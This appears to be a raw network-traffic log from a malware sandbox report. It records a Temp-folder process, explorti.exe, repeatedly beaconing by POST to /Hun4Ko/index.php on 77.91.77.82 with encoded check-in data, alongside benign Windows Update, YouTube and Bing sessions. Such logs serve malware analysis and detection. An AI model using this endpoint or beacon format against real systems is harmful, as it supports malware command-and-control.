Jul 4, 2024 22:21:54.702481031 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 22:21:54.703246117 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 4, 2024 22:21:55.037386894 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	49809	77.91.77.82	80	4724	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 22:21:55.146523952 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 22:21:55.860275984 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 22:21:55.860937119 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 4, 2024 22:21:56.081366062 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 4, 2024 22:21:56.321865082 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	49810	77.91.77.82	80	4724	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 22:21:56.322396040 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 22:21:57.017716885 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 22:21:57.020823002 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 4, 2024 22:21:57.237225056 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	49811	77.91.77.82	80	4724	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 22:21:57.351743937 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 22:21:58.070933104 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 22:21:58.073456049 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 4, 2024 22:21:58.297158003 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49705	52.165.165.26	443

Timestamp	Bytes transferred	Direction	Data
2024-07-04 20:20:14 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=ApAseul1TrG86vn&MD=OmoaKWyK HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-07-04 20:20:14 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: bd3809d1-16a0-46cb-a8f0-93d3c25b454b MS-RequestId: aae2ffac-035e-406a-9e20-d36743617ff9 MS-CV: AyLNtm1CnUKQmF5P.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 04 Jul 2024 20:20:14 GMT Connection: close Content-Length: 24490
2024-07-04 20:20:14 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-07-04 20:20:14 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49715	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-07-04 20:20:45 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-07-04 20:20:46 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (chd/0758) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus-z1 Cache-Control: public, max-age=38597 Date: Thu, 04 Jul 2024 20:20:45 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49716	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-07-04 20:20:46 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-07-04 20:20:47 UTC	514	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=38617 Date: Thu, 04 Jul 2024 20:20:46 GMT Content-Length: 55 Connection: close X-CID: 2
2024-07-04 20:20:47 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49717	20.114.59.183	443

Timestamp	Bytes transferred	Direction	Data
2024-07-04 20:20:52 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=ApAseul1TrG86vn&MD=OmoaKWyK HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-07-04 20:20:53 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 29f4dcb3-9d18-4336-99ab-3732e1fecd46 MS-RequestId: 77a505c8-967e-46d9-ae15-9715fe6d9dcc MS-CV: kIvJ5UNnMEuVgHQp.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 04 Jul 2024 20:20:52 GMT Connection: close Content-Length: 30005
2024-07-04 20:20:53 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-07-04 20:20:53 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49728	216.58.206.46	443	5784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 20:21:13 UTC	810	OUT	GET /account HTTP/1.1 Host: www.youtube.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-04 20:21:13 UTC	2470	IN	HTTP/1.1 303 See Other Content-Type: application/binary X-Content-Type-Options: nosniff Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 04 Jul 2024 20:21:13 GMT Location: https://accounts.google.com/ServiceLogin?service=youtube&uilel=3&passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Vary: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Origin-Trial: AmhMBR6zCLzDDxpW+HfpP67BqwIknWnyMOXOQGfzYswFmJe+fgaI6XZgAzcxOrzNtP7hEDsOo1jdjFnVr2IdxQ4AAAB4eyJvcmlnaW4iOiJodHRwczovL3lvdXR1YmUuY29tOjQ0MyIsImZlYXR1cmUiOiJXZWJWaWV3WFJlcXVlc3RlZFdpdGhEZXByZWNhdGlvbiIsImV4cGlyeSI6MTc1ODA2NzE5OSwiaXNTdWJkb21haW4iOnRydWV9 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Report-To: {"group":"youtube_main","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/youtube_main"}]} Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="youtube_main" P3P: CP="This is not a P3P policy! See http://support.google.com/accounts/answer/151657?hl=en for more info." Server: ESF Content-Length: 0 X-XSS-Protection: 0 Set-Cookie: GPS=1; Domain=.youtube.com; Expires=Thu, 04-Jul-2024 20:51:13 GMT; Path=/; Secure; HttpOnly Set-Cookie: YSC=3CxDiP_4V30; Domain=.youtube.com; Path=/; Secure; HttpOnly; SameSite=none; Partitioned Set-Cookie: VISITOR_INFO1_LIVE=-xUTWZ-nje0; Domain=.youtube.com; Expires=Tue, 31-Dec-2024 20:21:13 GMT; Path=/; Secure; HttpOnly; SameSite=none; Partitioned Set-Cookie: VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgYA%3D%3D; Domain=.youtube.com; Expires=Tue, 31-Dec-2024 20:21:13 GMT; Path=/; Secure; HttpOnly; SameSite=none; Partitioned Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.5	49743	23.1.237.91	443

Timestamp	Bytes transferred	Direction	Data
2024-07-04 20:21:18 UTC	2148	OUT	POST /threshold/xls.aspx HTTP/1.1 Origin: https://www.bing.com Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: / Accept-Language: en-CH Content-type: text/xml X-Agent-DeviceId: 01000A410900D492 X-BM-CBT: 1696428841 X-BM-DateFormat: dd/MM/yyyy X-BM-DeviceDimensions: 784x984 X-BM-DeviceDimensionsLogical: 784x984 X-BM-DeviceScale: 100 X-BM-DTZ: 120 X-BM-Market: CH X-BM-Theme: 000000;0078d7 X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66E X-Device-ClientSession: DB0AFB19004F47BC80E5208C7478FF22 X-Device-isOptin: false X-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A} X-Device-OSSKU: 48 X-Device-Touch: false X-DeviceID: 01000A410900D492 X-MSEdge-ExternalExp: d-thshld39,d-thshld42,d-thshld77,d-thshld78,staticsh X-MSEdge-ExternalExpType: JointCoord X-PositionerType: Desktop X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI X-Search-CortanaAvailableCapabilities: None X-Search-SafeSearch: Moderate X-Search-TimeZone: Bias=-60; DaylightBias=-60; TimeZoneKeyName=W. Europe Standard Time X-UserAgeClass: Unknown Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: www.bing.com Content-Length: 2484 Connection: Keep-Alive Cache-Control: no-cache Cookie: MUID=2F4E96DB8B7049E59AD4484C3C00F7CF; _SS=SID=1A6DEABB468B65843EB5F91B47916435&CPID=1720124382023&AC=1&CPH=d1a4eb75; _EDGE_S=SID=1A6DEABB468B65843EB5F91B47916435; SRCHUID=V=2&GUID=3D32B8AC657C4AD781A584E283227995&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231004; SRCHHPGUSR=SRCHLANG=en&IPMH=986d886c&IPMID=1696428841029&HV=1696428756; CortanaAppUID=5A290E2CC4B523E2D8B5E2E3E4CB7CB7; MUIDB=2F4E96DB8B7049E59AD4484C3C00F7CF
2024-07-04 20:21:18 UTC	1	OUT	Data Raw: 3c Data Ascii: <
2024-07-04 20:21:18 UTC	2483	OUT	Data Raw: 43 6c 69 65 6e 74 49 6e 73 74 52 65 71 75 65 73 74 3e 3c 43 49 44 3e 33 36 34 34 46 44 37 34 44 46 31 36 36 31 38 46 30 38 46 37 45 43 30 33 44 45 35 35 36 30 30 31 3c 2f 43 49 44 3e 3c 45 76 65 6e 74 73 3e 3c 45 3e 3c 54 3e 45 76 65 6e 74 2e 43 6c 69 65 6e 74 49 6e 73 74 3c 2f 54 3e 3c 49 47 3e 37 35 32 32 38 31 35 36 37 30 33 41 34 30 44 35 42 39 37 45 35 41 36 38 33 36 46 32 41 31 43 45 3c 2f 49 47 3e 3c 44 3e 3c 21 5b 43 44 41 54 41 5b 7b 22 43 75 72 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 2f 41 53 2f 41 50 49 2f 57 69 6e 64 6f 77 73 43 6f 72 74 61 6e 61 50 61 6e 65 2f 56 32 2f 49 6e 69 74 22 2c 22 50 69 76 6f 74 22 3a 22 51 46 22 2c 22 54 22 3a 22 43 49 2e 42 6f 78 4d 6f 64 65 6c 22 2c 22 46 49 44 22 3a 22 43 49 Data Ascii: ClientInstRequest><CID>3644FD74DF16618F08F7EC03DE556001</CID><Events><E><T>Event.ClientInst</T><IG>75228156703A40D5B97E5A6836F2A1CE</IG><D><![CDATA[{"CurUrl":"https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init","Pivot":"QF","T":"CI.BoxModel","FID":"CI
2024-07-04 20:21:18 UTC	480	IN	HTTP/1.1 204 No Content Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: B00721E5DFCC451CBCE1EB65622CCFCA Ref B: LAX311000113023 Ref C: 2024-07-04T20:21:18Z Date: Thu, 04 Jul 2024 20:21:18 GMT Connection: close Alt-Svc: h3=":443"; ma=93600 X-CDN-TraceID: 0.57ed0117.1720124478.245b930c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49756	142.250.181.238	443	5784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
